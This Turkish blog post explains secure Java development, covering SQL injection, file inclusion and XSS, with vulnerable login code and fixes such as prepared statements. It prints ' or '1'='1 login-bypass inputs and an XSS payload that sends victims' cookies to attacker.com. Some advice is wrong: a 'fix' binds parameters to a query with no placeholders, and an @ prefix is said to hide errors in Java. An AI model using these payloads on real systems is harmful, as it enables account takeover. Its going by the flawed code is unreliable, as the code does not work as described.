15 Ekim 2015 Perşembe

Yazılım Güvenliği


YAZILIM GÜVENLİĞİ

Yazılım güvenliği- Kötü niyetli saldırı (hacker) risklerine karşı yazılımı korumak için uygulanan bir fikirdir .Eğer yazılımın güvenliği doğru sağlanmış ise o potansiyel riskler altında bile doğru  çalışmaya devam eder. Güvenli yazılım; işlediği ve ulaşabildiği verinin bütünlüğünü, gizliliğini korumalıdır. Aynı zamanda bilgiye erişimin devamlılığını  da sağlamalı, yani doğru çalışmaya devam etmelidir. Bu makalede Java uygulamaları geliştirme sürecinde yazılımcıların başlıca dikkat etmesi gereken güvenli yazılım geliştirme metotları ele alınacaktır.

2.Güvenli Yazılım Geliştirme Metotları
Java’nın mimari tasarımında güvenliği desteklemek adına birçok önlemler (tip koruması, otomatik bellek yönetimi, dizi sınır kontrolü, bayt kod denetimi) dikkate alınmıştır. Ancak bunların haricinde yazılım geliştirirken dikkat edilmesi gereken bazı noktalar vardır. Bu noktalardan Modelleme, Gizlilik & Erişim Kontrolü, Güvenli Kod Denetimi öncelikle değerlendirilmelidir

Modelleme
·         Saldırganı hesaba katmak: Tasarım ve kodlama esnasında kendimizi saldırganın yerine koymalıyız. Sistemimizin sadece nasıl çalışması gerektiği üzerine değil ayrıca nasıl çalışmaması gerektiği üzerine de düşünmeliyiz. Örneğin kullanıcı tarafından integer olarak girilmesi beklenen bir girdinin integer olarak girilmeme ihtimalini ve bu durumda sistemimizin nasıl davranması gerektiğini de dikkate almalıyız.
·          Gereksiz kod yazmamak: Java’nın kalıtım özelliğini kullanarak gereksiz yere kod yazmamalıyız
·          Erişim kısıtlamasını doğru uygulamak: public, protected, private, static, final kavramlarını iyi bilmek ve bunları sınıf, metot ve değişken tanımlamalarında gerektiğinden fazla izin vermeyecek şekilde kullanmak. Sabit değerlerimizi (constant) public static final olarak tanımlamalı ve bu sayede değiştirilmelerine engel olmalıyız. Eğer bir sınıfın alt sınıfı olmayacaksa veya herhangi bir sınıfa extend olmayacaksa ilgili sınıfin final olarak tanımlanmasına dikkat etmeliyiz. 


Gizlilik
·          Kritik verilerle işlem yaparken dikkatli olmak: Gizli ve mahremiyeti ilgilendiren kritik veriler ile işlem yaparken dikkatli olun. Örneğin parola ve kimlik numarası gibi kritik bilgileri log dosyalarına yazmamalı hatta sistemimize bütünleşmiş (entegre) bir kütüphanenin de bunu yapmadığından emin olmalıyız

·          Aykırı durumların (exceptions) bir sistem hakkında gizli bilgiler vermesine engel olmalıyız: Saldırganlar bir sistem hakkında bilgi almak için geri döndürülen hatalardan faydalanırlar. Örneğin geri dönen bir SQL sorgu hatası, ilgili tablo ve veri tabanı hakkında kritik bilgiler içerebilir. Yine aynı şekilde “File Not Found” aykırı durumu dikkat edilmez ise ilgili dosyanın yolunu geri döndürerek saldırgana dosya sistemi hakkında bilgi verebilir. 
·          Parola ve şifreleme anahtarı gibi kritik bilgileri String olarak tanımlamamalıyız: String değiştirilemez bir sınıftır ve String olarak tanımladığınız veriyi silseniz bile daha sonrasında bellekte izlerini bulma riski vardır. Bunun yerine karakter ya da bayt dizisini tercih edin. Buna ek olarak kritik veri ile işiniz bittiğinde kritik veriyi hafızadan silen private olarak tanımlı bir metodu oluşturun ve kullanın. 

Erişim Kontrolü
·          Erişim kontrolü konseptini iyi bilmeliyiz: Erişim kontrolü sayesinde yürütülen kodun neyi yapıp neyi yapamayacağını kontrol edebilirsiniz. Örneğin bir dosyayı okuma/yazma hakkı var mı, sistemin hangi özellik (property) değişkenlerini okuma/yazma hakkı var, programı sonlandırma hakkı var mı ya da ağ üzerinden hangi bilgisayara erişim hakkı var gibi kontrollerin yapılması mümkün olmaktadır

·          Gerektiğinde SecurityManager’ı aktif hale getirin: SecurityManager erişim kontrolünün merkezindeki öğedir. Ancak uygulamaların standart olarak SecurityManager’ı aktif değildir. Şayet uygulamanız güvensiz kodlar içerecekse (plug-in vb.) ve bu sebeple erişim kontrolü yapmamız gerekiyorsa SecurityManager’ı aktif hale getirmeli ve gerekli erişim izinlerini politika (policy) dosyalarında tanımlamamız gerekmektedir. SecuritManager’ı aktifleştirmek için Java’yı - Djava.security.manager ve -Djava.security.policy=politika_dosyası seçenekleri ile birlikte başlatmalısınız. 
Güvenli kod denetimi - Güvenli kod denetimi, bir yazılımdaki güvenlik problemlerinin bulunması in gerçekleştirilen analizdir. Bu analiz insanlar tarafından elle veya özel programlar tarafından otomatik olarak gerçekleştirilebilir. Analiz insanlar tarafından gerçekleştirildiğinde kod gözden geçirme, özel programlar tarafından gerçekleştirildiğinde otomatik statik kaynak kod analizi adını almaktadırlar. 
Birçok güvenli kod denetimi bulgu tipleri vardir;
  • Ø  Yapılandırma problemleri
  • Ø  Yapısal problemler
  • Ø  Akış kontrol problemleri
  • Ø  Veri akışı problemleri

  •     Veri akışı problemleri: Güvenli kod  denetiminde dikkate alınması gereken çok kritik bir konudur. Kullanıcıdan gelen girdiye hiçbir zaman güvenilmemeli ve gelen her girdi tipine, uzunluğuna, içerebileceği karakter kümesine göre denetlenmelidir.


·         SQL enjeksiyonu saldırıları: Web güvenliği alanında en çok karşılaşılan tehtitlerden olan SQL enjeksiyon, kullanıcı girdisinin denetlenmemesinden ya da yetersiz denetlenmesinden kaynaklanmaktadırlar.


3.Saldırılar

“SQL Enjeksiyon”
SQL Injection kelime anlamı olarak da anlaşılabileceği, SQL sorgusuna sızmaktır.Uygulamalara, güvenilir olmayan kaynaklardan gelen girdilerin kontrol edilmeden SQL sorgusunu oluşturan cümlecik içerisinde kullanılmasından kaynaklanmaktadır. SQL enjeksiyon yöntemi saldırganlara istedikleri SQL komutlarını veritabanı sunucusundan izinsiz çalıştırmalarına olanak sağlar. Bu yöntemini kullanarak saldırganlar veritabanındaki bilgilere izinsiz erişim sağlayabilirler, bilgileri değiştirebilirler/silebilirler, tabloları/veritabanını yok edebilirler, işletim sistemi seviyesinde komut çalıştırabilirler, kimlik denetimi kontrolünü es geçebilirler. Bu örnekleri çoğaltmak mümkündür. SQL Injection veritabanindan ve dilden bagimsiz olarak her turlu uygulama-veritabani iliskisine sahip sistemde bulunabilir ve bu veritabanlarinin bir acigi degildir. SQL Injection' dan korunmak web gelistiricisinin gorevidir.SQL enjeksiyonunun tespiti diğer zafiyetlerde olduğu gibi yapılan isteğe karşın sunucudan alınan cevabın analiziyle mümkün olmaktadır. Dolayısıyla verilecek olan SQL enjeksiyonu zafiyet çeşitleri de bu sonuçların farklılıkları ile bir birinden ayrılmaktadır. 
·         Genel SQL Enjeksiyonu
·         Union Tabanlı ( Union Based) SQL Enjeksiyonu
·         Hata Tabanlı ( Error Based ) SQL Enjeksiyonu
·         Kör ( Blind ) SQL Enjeksiyonu
·         Zaman Tabanlı ( Time Based ) SQL Enjeksiyonu
Günümüz uygulamaların bir çoğu kimlik doğrulama mekanizmaları barındırmaktadır. Bu kimlik doğrulama işlevi ise bir veritabanı tablosunda bulunan kullanıcı adı ve parola bilgilerinin kullanıcının girmiş olduğu veriler ile karşılaştırılması ile yapmaktadır. Bu kontrol ise kimlik doğrulama işlevi barındıran her uygulamaya yapılacak ilk testlerden biridir. Klasik bir login sayfasında kullanıcı adı ve parolası istenir ve arka planda çalışan bir SQL sorgusu ile girilen kullanıcı adı-parola çiftinin doğruluğu test edilir. Sonuca göre kullanıcıya sisteme erişim hakkı verilir ya da hata mesajı döndürülür. Bu kontrol işlemi için arka planda aşağıdaki gibi bir sorgulama çalıştığını farz edelim:
public User checkUser(String userName,String password){
User user = null;…….
ResultSet rs=stmt.executeQuery(“SELECT * FROM users WHERE username=’ ”+userName+” ‘ and password=’ “ + password+ “ ‘);
while(rs.next()){
user = new User();
user.setUSER_ID(rs.getInt("USER_ID"));
user.setUsername(rs.getString("userName"));
user.setPassword(rs.getString("password"));}
………...
return user;
}
Yukarıdaki örnek kodda kullanıcı tarafından girilen kullanıcı adı ve parola ile dinamik olarak SQL sorgusu oluşturulmuştur. Kullanıcıdan alınan parametreler hiç bir kontrolden geçmeden SQL cümleciği içerisinde kullanılmış ve SQL enjeksiyonuna müsait bir kod parçası haline gelmiştir. SQL cümleciği içerisinde herhangi bağlama (concatenation) ifadesi var ise bunun potansiyel bir SQL enjeksiyonu olduğunu söylemek yanlış olmaz. Elbette her concatenation işlemi bir SQL enjeksiyonu zafiyeti anlamına gelmez. Fakat kullanımından kesinlikle kaçınılmalıdır. Şimdi kullanıcıdan gelebilecek ne tür bir girdi ile bu kontrolün aşılabileceğine bakalım: Bu örnek için parolaya verilebilecek değerin ne olduğunun önemi yoktur. Dolayısıyla xx gibi herhangi bir karakter kümesi kullanılabilir. İlgili test parametremiz kullanıcı adı ve parolanın sorgulandığı SQL cümleciği içerisine yerleştiğinde aşağıdakı SQL cümleciği oluşacaktır. SELECT * FROM users WHERE username =’a’ or ‘1’=’1’—‘ and password =’xx’
Users tablosunda username bilgisi a olanlar veya 1=1 olanlar diye bir ifade görülüyor olacaktır. İfade içerisinde veya (or) kullanıldığı için  WHERE ‘in sağ tarafı her zaman true dönecektir. İlgili veri tabanının da Oracle olduğunu varsayarsak – karakteri sonrası yorum satırı olarak algılanacak ve işlenmeyecektir. Dolayısıyla bu SQL sorgu SELECT * FROM users WHERE username =’a’ or ‘1’=’1’ halini alacaktır. Bu da users tablosundaki tüm kullanıcıların listelenmesini sağlayacaktır ve tek bir user objesi oluştuğu için ilgili tablodaki son kullanıcının bilgileri dolacaktır. Bu sayede uygulamanın users tablosundaki son kullanıcı ile uygulamaya giriş yapmış olacağız. 

Çözüm önerileri
SQL enjeksiyonlarına engel olmak icin  başlıca şu metotlardan birini uygulamak lazim:
·         java.sql.Statement ile dinamik sorgular oluşturmak yerine kullanıcı girdisi ile program kodunu birbirinden ayıran java.sql.PreparedStatement  kullanılmalıdır.
….
String className=request.getParameter(“class”);
preparedStatement pstmt=conn.prepareStatement(“SELECT * FROM students WHERE class=?”);
pstmt.setString(1,className);
resultSet rs=pstmt.executeQuery();
……..

·         SQL enjeksiyonlara karşı genel olarak güvenli olan “stored procedure” kullanılmalıdır.

·         Şayet dinamik sorguları PreparedStatement yada stored procedure ile tanımlamak mümkün değilse, o zaman kullanıcı girdilerini bütün meta karakterlerden (örneğin tek tırnak ‘) arındırmanız gerekmektedir. Fakat bu yöntem diğer iki yönteme göre daha karmaşık olduğu için daha az tercih edilmelidir.( OWASP SQL Injection Prevention Cheat Sheet (8) ) Bu işlem için örneğin OWASP ESAPI kütüphanesinin Encoders’i kullanılabilir.
Encoder.getInstance().encodeForSQL(codec,input); ·         Sql enjeksiyon saldırılarına karşı önlem almak için sql sorgularının içinde parametreler kullanılır. Sql parametreleri sql sorgularına execution zamanı ilave olunan değerlerdir. Bir insert işlemi zamanı sql enjeksiyon saldırılarına karşı önlem almak için bu değerlerin nasıl atandığına bakalım:

txtName = getRequestString("Name");
txtAddress = getRequestString("Address");
txtCity = getRequestString("City");
txtSQL = "INSERT  INTO Persons  (Name,Address,City) Values(@0,@1,@2)";
db.Execute(txtSQL,txtName,txtAddress,txtCity);

Bu değerler @ işareti ile temsil olunuyorlar.

4.Kod/Dosya Enjeksiyonu (RFI/LFI)
1.        Kod enjeksiyonu: Kullanıcıdan girdi istenen form  yapıları veya adres satırı ile yapılan saldırılara code injection saldırıları denir. Kod bütününün veya parçalarının form veya adres satırı yoluyla uygulamaya başarılı bir şekilde gönderilmesi ve daha sonra uygulama tarafindan sanki kendi parçasıymış gibi çalıştırılması ile mümkün olmaktadır.Bu durum özellikle çoğu uygulama geliştirme dillerinin kendi içine dosya çağırma fonksiyonları ile mümkün olmaktadır. Dolayısıyla çalışma esnasında ana uygulamanın parçası olan kod parçacıkları  ve kod barındıran dosyalar uygulama içine dahil olur ve onun bir parçası gibi yorumlanır ve böylece güvenlik açıkları meydana gelir. Örneğin bir login sayfamız olsun ve buradan kullanıcılar login ve şifrelerini giriyorlar.Arka planda ise şöyle bir kod çalışıyor ;
public static Boolean Indexauthentication(String login, String pass, HttpServletRequest request) throws Exception {
String sql = "select * from users where login=’Ayse’ and pass=’12345’ ";
        try {
            conn = connection.conn(request);
            if (conn != null) {
                preparedStatement=conn.prepareStatement(sql);                preparedStatement.setString(1,login);
preparedStatement.setString(2,pass);
rs=preparedStatement.executeQuery();
while (rs.next()) {
                    id = rs.getString("USER_ID");
            }
            }
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
         JDBCUtility.close(rs,preparedStatement,conn);
Normal şartlarda eğer login ve şifre doğruysa sistem true değer döndürecek, bir tanesi bile yalnışsa sistem false    değer döndürecektir. Peki ama giriş panelini açan kişinin niyeti farklıysa ???
Diyelim login ve şifre yerine böyle bir kod girildi :
‘or’1’=’1
Kodumuz şöyle bir hal alacaktır:
String sql = "select * from users where login=’ ’ or ‘1’=’1’        and  pass=’ ’ or ‘1’=’1’  ";
Bu o demek ki , yani login değeri boşsa yada 1=1 ise yada şifre değeri boşsa veya 1=1 ise Userler tablosundaki tüm verileri çek.Login ve şifre değerlerimiz boş değil ancak her zaman 1=1 .Bu yüzden sistem Userler tablosundakı tüm verileri çekecek ve true sonuç dönecektir.Yani sisteme id si en başta olan kullanıcı olarak giriş yapılacaktır.Ki bu genelde admin olur.Burada hata bazlı SQL enjeksiyon da ola bilir.Yani , saldırgan ‘ gibi  önemli karakterleri sql sorgusuna sokarak kodumuza hata vere bilir.Ve böylece kritik noktalara erişebilir. 

Çözüm önerileri :
Hata kodlarını gizleme
Sorgumuz herhangi bir sorun ile karşılaştığında hata kodlarını ekrana bastırmasını engellemek biraz olsa güvenli olacaktır.Bunun için sorgu fonksiyonlarının başına  @ işareti koymamız yeterli.
String sql = @(" select * from users where login=’hale’ and pass=’12345’ ");
Veri filtrleme
Bu konuda alınacak en önemli önlemlerdendir.Kullanıcıdan gelen parametreler mutlaka filtrelenmelidir.HTML kodları,JavaScript kodları,SQL için özel anlam ifade eden karakterler filtrelenmeli ondan sonra işleme tabi tutulmalıdır.
5.Dosya dâhil etme ( File Inclusion ) Saldırıları
Ağırlıklı olarak scripting dilleri ile geliştirilen uygulamalarda görülmektedir. Uygulamaların kullanıcılardan aldığı zararlı kod parçacığı barındıran dosyaların uygulamaların içine dâhil edilmesinden kaynaklanmaktadır. Dahil etme işlemleri include(),requie(), vb. Metotlar ile sağlanmaktadır. Dolayısıyla 1 defa yazılan kod parçacığı ihtiyaç duyulan noktalarda include(),require() vb. Metotlar yardımı ile çağırılıp kullanılabilir. Bu yaklaşım hatalı bir yaklaşım değildir. Problem, dahil etme aşamasında eğer kullanıcıdan alınan bir parametre kullanılıyor ise bunun kontrol edilmemesinden kaynaklanmaktadır
6.XSS (Cross-Site-Scripting)
Çapraz Site Betik Saldırısı (Cross Site Scripting Attack), betik kodları (script codes) kullanılarak yapılan bir saldırı çeşididir. Saldırganın hedefi, sitede bulunan herhangi bir yere betik kodu (HTML, JavaScript, vs.) ekleyerek, kullanıcılara ait bilgileri çalmaktır. “Genelde cross site scripting açıkları, saldırganın sistemi deneme-yanılma yaparak bulması ile ortaya çıkar. Açığın bulunması ile saldırgan, başka bir domainden, açığın bulunduğu domain ve sayfanın bilgilerini, session bilgilerini ve diğer obje değerlerini çalmasına olağan sağlar. Cross Site Scripting(XSS); hedef sitedeki arama bölümlerinde, haber modüllerinde, mesajlarda, yorumlarda, iletişim kısımlarında bulunur. Kısacası hedef sitede get-post metotlarıyla kullanıcı tarafından veri girişi yapılan çoğu yerde bulunur. Admin bilgileri alınarak sisteme sahip olunabilir. Yukarıda da belirttiğimiz gibi Sniffer kullanılarak admin bilgileri ve cookie’ler çalınabilir. Sisteme Shell sokulabilir. Cookie’lerin çalınmasıyla üye bilgileri ele geçirilebilir.
Bu saldırıyı şematiğe dökmek gerekirse yukarıdaki gibi olur.

1. işlemde kullanıcının normal bir şekilde siteye giriş yaptığı yani login olduğu ve giriş işleminden sonra kullanıcının bilgisayarına cookie’lerin eklendiği görülmektedir.
2. ve 3. işlemde ise kullanıcının cookie’leri tekrar kullanarak giriş yaparken, araya giren saldırganın(Hacker) cookie verilerini çalıp admin hesabıyla hedef siteye giriş yaptığı görülmektedir.

Cross Site Scripting(XSS) saldırısının mantığı bu şekildedir. XSS zafiyetini keşfetmek için kodlarınızı bu veri giriş yerine veya tarayıcı adres çubuğuna yazarak bulabiliriz.
Saldırgan, istediğini yaptıracak olan betik kodunu kaynak siteye yerleştirmek ve ziyaretçilerin zararlı betiği kullanmasını sağlamak zorundadır. Bu yüzden "Cross Site" olarak adlandırılır. XSS saldırılarının teknik olarak nasıl yapıldığını analiz edelim. Örneğin bir ziyaretçi defter uygulamamız olsun. Kullanıcılar site hakkında yorum yapıyorlar ve diğer kullanıcılar sayfayı ziyaret ettiklerinde önceden girilmiş yorumları görebiliyorlar. Bu siteyi ziyaret eden bir saldırgan yorum kısmına şunu girmiş olduğunu farz edelim:
<script>document.location=’http://big.az/search?name=<script>document.write("<img src=http://attacker.com/” +document.cookie + “>”)</script>’</script>
Bu bir javascript kodudur. Bu kod parçası web sunucusu tarafından veri tabanına kaydedilecek ve diğer bir kullanıcı (kurban) yorumları görmek istediğinde bu zararlı kodlar kendisine gönderilecektir. Daha sonra bu kodlar kurbanın tarayıcısı aracılığı ile çalışarak kurbanı önce big.az sayfasına yönlendirecek ve sonra kurbanın bu sayfadaki çerez bilgilerini saldırganın sitesine(attacker.com) gönderecektir. Bu sayede saldırgan, ele geçirdiği oturum bilgilerini kullanarak bu kullanıcının big.az’daki hesabına izinsiz erişim elde edecektir. Bu bir kodlama hatası ve açıktır. (XSS (Cross Site Scripting) Prevention Cheat Sheet[8])
Çözüm önerileri
Aslında çözüm yazılan kodlamanın düzeltilmesindedir. Dolayısıyla Java, .NET ve PHP uygulama geliştirme ortamları için vereceğim çözüm yollarını bir bütün olarak ele alıp eksiksiz yerine getirmek, bu problemin çözümünde yardımcı olacaktır.
Ø  Girdi Denetimi
Ø  Çıktı Denetimi/Kodlama
Girdi denetimi, hemen hemen her uygulama güvenliği probleminin temel çözüm noktasıdır. Çünkü uygulamaya gelen her girdinin kontrol edilerek içeri alınması demek, uygulamanın beklentisi dışında gelen girdielrin eleneceği anlamına gelecektir ki – bu da uygulamanın davranışını bozabilecek durumların ortadan kalkacağı anlamına gelmektedir. Programın kullanıcıdan aldığı girdiler, her zaman kontrolden geçirilmelidir. Bu aynı zamanda "Sql injection", "Buffer Overflow" gibi saldırıları da engelleyecektir. Girdi denetiminin yetersizliği durumunda çıktı denetimi (output encoding) sağlanılıyor. Hatta girdi denetimi yapılmamış bir uygulamada tüm çıktılar için çıktı denetimi/kodlama yapılıyor ise XSS zafiyetine karşında çözüm sağlanmıştır diyebiliriz. 
Sonuç
Güvenli yazılım geliştirme süreçleri (GYG), güvenli bir sistem tasarlamak ve de güvenli bir ürün ortaya koyabilmek için vazgeçilmezdir. Bu süreçler tehdit modelleme, risk analizi, yazılımcıları bilinçlendirmeye yönelik güvenlik eğitimleri ve dokümanları, mimari analiz,  kod analizi ve sızma testleri gibi güvenlik için vazgeçilmez gereksinimleri içermektedir.
Bu makalede GYG’nin bir parçası olan ve Java yazılımcıları için ortak bir güvenlik farkındalığı oluşturacak “güvenli yazılım geliştirme metotları“ mümkün olduğunca ele alındı. Metin daha çok Java diline özel olmakla birlikte diğer dillerle yazılım geliştirenler için de yol gösterici bilgiler içermektedir.


2 yorum:

  1. Veribase ailesi olarak bigDATAner sitesine yayın hayatında başarılar diliyoruz... :)

    YanıtlaSil